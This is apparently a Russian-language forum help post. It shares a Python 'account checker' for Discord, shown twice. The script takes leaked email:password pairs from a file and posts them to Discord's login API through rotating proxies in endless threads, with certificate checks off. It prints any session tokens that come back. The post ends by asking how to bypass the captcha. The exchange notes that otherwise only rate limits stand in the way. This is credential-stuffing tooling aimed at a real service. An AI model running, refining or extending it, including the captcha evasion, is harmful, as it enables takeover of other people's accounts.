[Help] Discord Account Checker

import requests
from requests.exceptions import HTTPError
import random
import threading
import logging
import time
import random_proxies
import json
import string

baza = open('db.txt').read().split('\n')
proxies = open('proxy.txt').read().split('\n')
url = 'https://discord.com/api/v8/auth/login'


def check():
for _ in range(len(proxies)):
try:
line = random.choice(baza)
proxy = random.choice(proxies)
emailpas = line.split(':')
email = emailpas[0]
password = emailpas[1]
check1 = requests.post(url,proxies=dict(https='https://' + proxy), json={"email":str(email),"password":str(password),"undelete":False,"captcha_key":None,"login_source":None,"gift_code_sku_id":None}, verify=False)
print(check1.text)
if json.loads(check1.text)["token"]:
print(json.loads(check1.text)["token"])
except:
pass

def main():
while True:

t = threading.Thread(target=check)
t.start()
main()

Code

import requests

from requests.exceptions import HTTPError

import random

import threading

import logging

import time

import random_proxies

import json

import string



baza = open('db.txt').read().split('\n')

proxies = open('proxy.txt').read().split('\n')

url = 'https://discord.com/api/v8/auth/login'





def check():

    for _ in range(len(proxies)):

        try:

            line = random.choice(baza)

            proxy = random.choice(proxies)

            emailpas = line.split(':')

            email = emailpas[0]

            password = emailpas[1]

            check1 = requests.post(url,proxies=dict(https='https://' + proxy), json={"email":str(email),"password":str(password),"undelete":False,"captcha_key":None,"login_source":None,"gift_code_sku_id":None}, verify=False)

            print(check1.text)

            if json.loads(check1.text)["token"]:

                print(json.loads(check1.text)["token"])

        except:

            pass



def main():

    while True:



        t = threading.Thread(target=check)

        t.start()

main()

Как сделать обход капчи, или как её проходить?
Без ****** не требует капчу, только рейтлимит и всё